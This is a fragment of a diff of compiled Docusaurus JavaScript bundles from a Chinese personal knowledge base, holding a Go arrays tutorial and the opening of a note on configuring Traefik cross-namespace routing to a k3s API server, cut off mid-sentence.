\u4e4b\u5207\u7247","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247"}}');var i=t(74848),a=t(28453);const l={},s="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4",c={},o=[{value:"\u6570\u7ec4\u5b9a\u4e49\uff1a",id:"\u6570\u7ec4\u5b9a\u4e49",level:2},{value:"\u6570\u7ec4\u7684\u521d\u59cb\u5316",id:"\u6570\u7ec4\u7684\u521d\u59cb\u5316",level:2},{value:"\u65b9\u6cd5\u4e00",id:"\u65b9\u6cd5\u4e00",level:3},{value:"\u65b9\u6cd5\u4e8c",id:"\u65b9\u6cd5\u4e8c",level:3},{value:"\u65b9\u6cd5\u4e09",id:"\u65b9\u6cd5\u4e09",level:3},{value:"\u6570\u7ec4\u7684\u904d\u5386",id:"\u6570\u7ec4\u7684\u904d\u5386",level:2},{value:"\u591a\u7ef4\u6570\u7ec4",id:"\u591a\u7ef4\u6570\u7ec4",level:2},{value:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49",id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49",level:3},{value:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386",id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386",level:3},{value:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b",id:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b",level:2}];function d(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",...(0,a.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4"})}),"\n",(0,i.jsx)(e.p,{children:"\u6570\u7ec4\u662f\u540c\u4e00\u79cd\u6570\u636e\u7c7b\u578b\u5143\u7d20\u7684\u96c6\u5408\u3002 \u5728Go\u8bed\u8a00\u4e2d\uff0c\u6570\u7ec4\u4ece\u58f0\u660e\u65f6\u5c31\u786e\u5b9a\uff0c\u4f7f\u7528\u65f6\u53ef\u4ee5\u4fee\u6539\u6570\u7ec4\u6210\u5458\uff0c\u4f46\u662f\u6570\u7ec4\u5927\u5c0f\u4e0d\u53ef\u53d8\u5316\u3002 \u57fa\u672c\u8bed\u6cd5\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// \u5b9a\u4e49\u4e00\u4e2a\u957f\u5ea6\u4e3a3\u5143\u7d20\u7c7b\u578b\u4e3aint\u7684\u6570\u7ec4a\nvar a [3]int\n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u5b9a\u4e49",children:"\u6570\u7ec4\u5b9a\u4e49\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"var \u6570\u7ec4\u53d8\u91cf\u540d [\u5143\u7d20\u6570\u91cf]T\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6bd4\u5982\uff1a",(0,i.jsx)(e.code,{children:"var a [5]int"}),"\uff0c \u6570\u7ec4\u7684\u957f\u5ea6\u5fc5\u987b\u662f\u5e38\u91cf\uff0c\u5e76\u4e14\u957f\u5ea6\u662f\u6570\u7ec4\u7c7b\u578b\u7684\u4e00\u90e8\u5206\u3002\u4e00\u65e6\u5b9a\u4e49\uff0c\u957f\u5ea6\u4e0d\u80fd\u53d8\u3002 ",(0,i.jsx)(e.code,{children:"[5]int"}),"\u548c",(0,i.jsx)(e.code,{children:"[10]int"}),"\u662f\u4e0d\u540c\u7684\u7c7b\u578b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var a [3]int\nvar b [4]int\na = b //\u4e0d\u53ef\u4ee5\u8fd9\u6837\u505a\uff0c\u56e0\u4e3a\u6b64\u65f6a\u548cb\u662f\u4e0d\u540c\u7684\u7c7b\u578b\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6570\u7ec4\u53ef\u4ee5\u901a\u8fc7\u4e0b\u6807\u8fdb\u884c\u8bbf\u95ee\uff0c\u4e0b\u6807\u662f\u4ece",(0,i.jsx)(e.code,{children:"0"}),"\u5f00\u59cb\uff0c\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u4e0b\u6807\u662f\uff1a",(0,i.jsx)(e.code,{children:"len-1"}),"\uff0c\u8bbf\u95ee\u8d8a\u754c\uff08\u4e0b\u6807\u5728\u5408\u6cd5\u8303\u56f4\u4e4b\u5916\uff09\uff0c\u5219\u89e6\u53d1\u8bbf\u95ee\u8d8a\u754c\uff0c\u4f1apanic\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u7684\u521d\u59cb\u5316",children:"\u6570\u7ec4\u7684\u521d\u59cb\u5316"}),"\n",(0,i.jsx)(e.p,{children:"\u6570\u7ec4\u7684\u521d\u59cb\u5316\u4e5f\u6709\u5f88\u591a\u65b9\u5f0f\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u65b9\u6cd5\u4e00",children:"\u65b9\u6cd5\u4e00"}),"\n",(0,i.jsx)(e.p,{children:"\u521d\u59cb\u5316\u6570\u7ec4\u65f6\u53ef\u4ee5\u4f7f\u7528\u521d\u59cb\u5316\u5217\u8868\u6765\u8bbe\u7f6e\u6570\u7ec4\u5143\u7d20\u7684\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar testArray [3]int //\u6570\u7ec4\u4f1a\u521d\u59cb\u5316\u4e3aint\u7c7b\u578b\u7684\u96f6\u503c\n\tvar numArray = [3]int{1, 2} //\u4f7f\u7528\u6307\u5b9a\u7684\u521d\u59cb\u503c\u5b8c\u6210\u521d\u59cb\u5316\n\tvar cityArray = [3]string{"\u5317\u4eac", "\u4e0a\u6d77", "\u6df1\u5733"} //\u4f7f\u7528\u6307\u5b9a\u7684\u521d\u59cb\u503c\u5b8c\u6210\u521d\u59cb\u5316\n\tfmt.Println(testArray) //[0 0 0]\n\tfmt.Println(numArray) //[1 2 0]\n\tfmt.Println(cityArray) //[\u5317\u4eac \u4e0a\u6d77 \u6df1\u5733]\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u65b9\u6cd5\u4e8c",children:"\u65b9\u6cd5\u4e8c"}),"\n",(0,i.jsx)(e.p,{children:"\u6309\u7167\u4e0a\u9762\u7684\u65b9\u6cd5\u6bcf\u6b21\u90fd\u8981\u786e\u4fdd\u63d0\u4f9b\u7684\u521d\u59cb\u503c\u548c\u6570\u7ec4\u957f\u5ea6\u4e00\u81f4\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\u6211\u4eec\u53ef\u4ee5\u8ba9\u7f16\u8bd1\u5668\u6839\u636e\u521d\u59cb\u503c\u7684\u4e2a\u6570\u81ea\u884c\u63a8\u65ad\u6570\u7ec4\u7684\u957f\u5ea6\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar testArray [3]int\n\tvar numArray = [...]int{1, 2}\n\tvar cityArray = [...]string{"\u5317\u4eac", "\u4e0a\u6d77", "\u6df1\u5733"}\n\tfmt.Println(testArray) //[0 0 0]\n\tfmt.Println(numArray) //[1 2]\n\tfmt.Printf("type of numArray:%T\\n", numArray) //type of numArray:[2]int\n\tfmt.Println(cityArray) //[\u5317\u4eac \u4e0a\u6d77 \u6df1\u5733]\n\tfmt.Printf("type of cityArray:%T\\n", cityArray) //type of cityArray:[3]string\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u65b9\u6cd5\u4e09",children:"\u65b9\u6cd5\u4e09"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528\u6307\u5b9a\u7d22\u5f15\u503c\u7684\u65b9\u5f0f\u6765\u521d\u59cb\u5316\u6570\u7ec4\uff0c\u4f8b\u5982:"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [...]int{1: 1, 3: 5}\n\tfmt.Println(a) // [0 1 0 5]\n\tfmt.Printf("type of a:%T\\n", a) //type of a:[4]int\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u7684\u904d\u5386",children:"\u6570\u7ec4\u7684\u904d\u5386"}),"\n",(0,i.jsx)(e.p,{children:"\u904d\u5386\u6570\u7ec4a\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar a = [...]string{"\u5317\u4eac", "\u4e0a\u6d77", "\u6df1\u5733"}\n\t// \u65b9\u6cd51\uff1afor\u5faa\u73af\u904d\u5386\n\tfor i := 0; i < len(a); i++ {\n\t\tfmt.Println(a[i])\n\t}\n\n\t// \u65b9\u6cd52\uff1afor range\u904d\u5386\n\tfor index, value := range a {\n\t\tfmt.Println(index, value)\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u591a\u7ef4\u6570\u7ec4",children:"\u591a\u7ef4\u6570\u7ec4"}),"\n",(0,i.jsx)(e.p,{children:"Go\u8bed\u8a00\u662f\u652f\u6301\u591a\u7ef4\u6570\u7ec4\u7684\uff0c\u6211\u4eec\u8fd9\u91cc\u4ee5\u4e8c\u7ef4\u6570\u7ec4\u4e3a\u4f8b\uff08\u6570\u7ec4\u4e2d\u53c8\u5d4c\u5957\u6570\u7ec4\uff09\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49",children:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [3][2]string{\n\t\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t\t{"\u6210\u90fd", "\u91cd\u5e86"},\n\t}\n\tfmt.Println(a) //[[\u5317\u4eac \u4e0a\u6d77] [\u5e7f\u5dde \u6df1\u5733] [\u6210\u90fd \u91cd\u5e86]]\n\tfmt.Println(a[2][1]) //\u652f\u6301\u7d22\u5f15\u53d6\u503c:\u91cd\u5e86\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386",children:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [3][2]string{\n\t\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t\t{"\u6210\u90fd", "\u91cd\u5e86"},\n\t}\n\tfor _, v1 := range a {\n\t\tfor _, v2 := range v1 {\n\t\t\tfmt.Printf("%s\\t", v2)\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u5317\u4eac\t\u4e0a\u6d77\t\n\u5e7f\u5dde\t\u6df1\u5733\t\n\u6210\u90fd\t\u91cd\u5e86\t\n"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})," \u591a\u7ef4\u6570\u7ec4",(0,i.jsx)(e.strong,{children:"\u53ea\u6709\u7b2c\u4e00\u5c42"}),"\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"..."}),"\u6765\u8ba9\u7f16\u8bd1\u5668\u63a8\u5bfc\u6570\u7ec4\u957f\u5ea6\u3002\u4f8b\u5982\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'//\u652f\u6301\u7684\u5199\u6cd5\na := [...][2]string{\n\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t{"\u6210\u90fd", "\u91cd\u5e86"},\n}\n//\u4e0d\u652f\u6301\u591a\u7ef4\u6570\u7ec4\u7684\u5185\u5c42\u4f7f\u7528...\nb := [3][...]string{\n\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t{"\u6210\u90fd", "\u91cd\u5e86"},\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b",children:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b"}),"\n",(0,i.jsx)(e.p,{children:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b\uff0c\u8d4b\u503c\u548c\u4f20\u53c2\u4f1a\u590d\u5236\u6574\u4e2a\u6570\u7ec4\u3002\u56e0\u6b64\u6539\u53d8\u526f\u672c\u7684\u503c\uff0c\u4e0d\u4f1a\u6539\u53d8\u672c\u8eab\u7684\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func modifyArray(x [3]int) {\n\tx[0] = 100\n}\n\nfunc modifyArray2(x [3][2]int) {\n\tx[2][0] = 100\n}\nfunc main() {\n\ta := [3]int{10, 20, 30}\n\tmodifyArray(a) //\u5728modify\u4e2d\u4fee\u6539\u7684\u662fa\u7684\u526f\u672cx\n\tfmt.Println(a) //[10 20 30]\n\tb := [3][2]int{\n\t\t{1, 1},\n\t\t{1, 1},\n\t\t{1, 1},\n\t}\n\tmodifyArray2(b) //\u5728modify\u4e2d\u4fee\u6539\u7684\u662fb\u7684\u526f\u672cx\n\tfmt.Println(b) //[[1 1] [1 1] [1 1]]\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u6570\u7ec4\u652f\u6301 \u201c==\u201c\u3001\u201d!=\u201d \u64cd\u4f5c\u7b26\uff0c\u56e0\u4e3a\u5185\u5b58\u603b\u662f\u88ab\u521d\u59cb\u5316\u8fc7\u7684\u3002"}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"[n]*T"}),"\u8868\u793a\u6307\u9488\u6570\u7ec4\uff0c",(0,i.jsx)(e.code,{children:"*[n]T"}),"\u8868\u793a\u6570\u7ec4\u6307\u9488 \u3002"]}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,a.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/assets/js/2d9b71f4.fe934c74.js b/assets/js/2d9b71f4.fe934c74.js new file mode 100644 index 0000000..bc5cb98 --- /dev/null +++ b/assets/js/2d9b71f4.fe934c74.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9918],{12595:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README","title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/04.\u7591\u96be\u6742\u75c7/01.k3s/01.Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/04.\u7591\u96be\u6742\u75c7/01.k3s/01.Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/04.\u7591\u96be\u6742\u75c7/01.k3s/01.Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1"},"next":{"title":"\u8bed\u8a00\u77e5\u8bc6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/"}}');var t=s(74848),a=s(28453);const i={},c="Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528",o={},d=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u5229\u7528",id:"\u5229\u7528",level:2},{value:"\u5c0f\u63d2\u66f2",id:"\u5c0f\u63d2\u66f2",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function l(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528",children:"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:23:54"})]})})]}),"\n",(0,t.jsx)(n.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u7814\u7a76",(0,t.jsx)(n.code,{children:"traefik"}),"\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528\u8d44\u6e90\u65f6\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a\u975e\u5e38\u5751\u4eba\u7684\u70b9\uff0c\u5c31\u662f ",(0,t.jsx)(n.code,{children:"traefik"}),"\u6587\u6863\u6709\u4e00\u4e2a\u4e1c\u897f\u53eb \u8de8\u670d\u52a1\u5546\u547d\u540d\u7a7a\u95f4",(0,t.jsx)(n.code,{children:"(Provider Namespace)"}),"\uff0c\u8fd9\u4e2a\u662f\u4ec0\u4e48\u4e1c\u897f\u5462\uff0c\u5c31\u662f\u5982\u679c\u4f60\u5728 ",(0,t.jsx)(n.code,{children:"k3s/k8s"}),"\u4e2d\u6709\u9700\u8981\u5bf9docker\u63d0\u4f9b\u5546\u521b\u5efa\u7684\u8d44\u6e90\u8fdb\u884c\u8c03\u7528\u65f6\uff0c\u4f60\u53ef\u4ee5\u5f00\u542f\u8de8\u670d\u52a1\u5546\u547d\u540d\u7a7a\u95f4\u3002\u8fd8\u6709\u4e00\u4e2a\u5c31\u662f",(0,t.jsx)(n.code,{children:"Kubernetes"}),"\u81ea\u5e26\u7684\u547d\u540d\u7a7a\u95f4\uff0c\u6211\u4eec\u9700\u8981\u64cd\u4f5c\u7684\u5c31\u662f\u8fd9\u4e2a\u547d\u540d\u7a7a\u95f4\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684",(0,t.jsx)(n.code,{children:"namespace: default"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: default\n namespace: default # \u5c31\u662f\u8fd9\u4e2a\u5b57\u6bb5\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`www.wjlin0.com`) && PathPrefix(`/`) # \n kind: Rule\n services:\n - name: default\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u5229\u7528",children:"\u5229\u7528"}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u4f55\u8fdb\u884c",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u7528"}),"\u5462\uff0c\u5728",(0,t.jsx)(n.code,{children:"traefik"}),"\u6587\u6863\u4e2d\u63d0\u5230\u6709\u4e2a\u53c2\u6570",(0,t.jsx)(n.code,{children:"allowCrossNamespace"}),"\uff0c\u8fd9\u4e2a\u53c2\u6570\u662f\u63a7\u5236",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u7528"}),"\uff0c\uff08\u9ed8\u8ba4\u5173\u95ed\u7684\uff0c\u4e0d\u5141\u8bb8",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u7528"}),"\uff09\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u662fhelm\u5b89\u88c5\uff0c\u53c2\u6570\u6240\u5728\u4f4d\u7f6e."}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"......\n......\n......\n# -- Define [Startup Probe](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-startup-probes)\nstartupProbe: {}\n\nproviders: # @schema additionalProperties: false\n kubernetesCRD:\n # -- Load Kubernetes IngressRoute provider\n enabled: true\n # -- Allows IngressRoute to reference resources in namespace other than theirs\n allowCrossNamespace: true\n......\n......\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5f00\u542f\u540e\uff0c\u914d\u7f6e",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u5ea6"}),"\uff0c\u9700\u8981\u9075\u5b88\u4ee5\u4e0b\u547d\u540d\u89c4\u5219\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-tex",children:"<\u8d44\u6e90\u547d\u540d\u7a7a\u95f4>-<\u8d44\u6e90\u540d\u79f0>@\u63d0\u4f9b\u5546\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e86\u89e3\u4e86\u4e0a\u8bc9\u7684\u64cd\u4f5c\u6b65\u9aa4\uff0c\u6211\u4eec\u5e94\u8be5\u600e\u4e48\u505a\u5462\uff0c\u6211\u63a5\u4e0b\u6765\u7ed9\u51fa\u4e00\u4e2a\u6848\u4f8b\uff1b"}),"\n",(0,t.jsxs)(n.p,{children:["\u9700\u6c42\u65f6\uff0c\u6211\u5c06",(0,t.jsx)(n.code,{children:"k3s-apiserver"}),"\u7684",(0,t.jsx)(n.code,{children:"ping"}),"\u76ee\u5f55\uff0c\u901a\u8fc7",(0,t.jsx)(n.code,{children:"traefik"}),"\uff0c\u5bfc\u51fa\u5230\u5916\u90e8\u8bbf\u95ee\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) \n kind: Rule\n services:\n - name: kubernetes # \n port: 443 \n scheme: https\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u4e0a\u8bc9\u914d\u7f6e\u4e2d\u6211\u4eec\u6210\u529f\u5c06\u670d\u52a1",(0,t.jsx)(n.code,{children:"kubernetes"}),"\u5bfc\u51fa\u5230\u5916\u90e8\u8bbf\u95ee\uff0c\u4f46\u662f\u4f60\u8bbf\u95ee\u4e4b\u540e\u4f1a\u53d1\u73b0\uff0c\u8be5\u8def\u7531\u7206500\u7684\u9519\u8bef"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl https://kube.wjlin0.com/ping\nInternal Server Error\n\u279c ~\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u662f\u56e0\u4e3a",(0,t.jsx)(n.code,{children:"kubernetes"}),"\u7684\u8bc1\u4e66\u662f\u81ea\u7b7e\u8bc1\u4e66\uff0c\u4f60\u9700\u8981\u5bf9\u8be5\u8bc1\u4e66\u8fdb\u884c\u5f15\u7528\u6216\u8005\u5ffd\u7565\u3002\u9996\u5148\u6211\u4eec\u627e\u5230\u8fd9\u4e2a\u8bc1\u4e66\uff0c\u5b83\u4f4d\u4e8e\u670d\u52a1\u5668\u7684"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"/var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7136\u540e\u6211\u4eec\u5c06 \u8bc1\u4e66 base64 \u8f6c\u6362\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"base64 -w 0 /var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u7136\u540e\u901a\u8fc7",(0,t.jsx)(n.code,{children:"rootCAsSecrets"})," \u5f15\u7528\u8fdb\u6765\uff0c\u5f53\u7136\u4f60\u53ef\u4ee5\u90fd\u4fdd\u5b58\u5728",(0,t.jsx)(n.code,{children:"default"}),"\uff0c\u8fd9\u91cc\u662f\u5728\u6f14\u793a\u5982\u4f55\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n kind: Rule\n services:\n - name: kubernetes # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u540d\u79f0\n port: 443 # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u7aef\u53e3\n# strategy: RoundRobin # \u8d1f\u8f7d\u5747\u8861\u7b56\u7565\uff0c\u9ed8\u8ba4\u4e3a RoundRobin\n serversTransport: kube-system-kubernetes@kubernetescrd\n---\napiVersion: traefik.io/v1alpha1\nkind: ServersTransport\nmetadata:\n name: kubernetes\n namespace: kube-system\nspec:\n insecureSkipVerify: false\n rootCAsSecrets:\n - k3s-serving-kube-apiserver\n---\napiVersion: v1\nkind: Secret\nmetadata:\n name: k3s-serving-kube-apiserver\n namespace: kube-system\ndata:\n ca.crt: ......\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u518d\u6b21\u8fdb\u884c\u547d\u4ee4"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl https://kube.wjlin0.com/ping\npong\n\u279c ~\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u5c0f\u63d2\u66f2",children:"\u5c0f\u63d2\u66f2"}),"\n",(0,t.jsx)(n.p,{children:"\u26a0\ufe0f \u5c0f\u63d2\u66f2\uff0c\u8fd9\u91cc\u9047\u5230\u4e00\u4e2a\u95ee\u9898\u5c31\u662f\u5982\u4e0b."}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u4f7f\u7528\u4e0b\u9762\u7684\u914d\u7f6e \u901a\u8fc7 ",(0,t.jsx)(n.code,{children:"traefik"})," \u5427 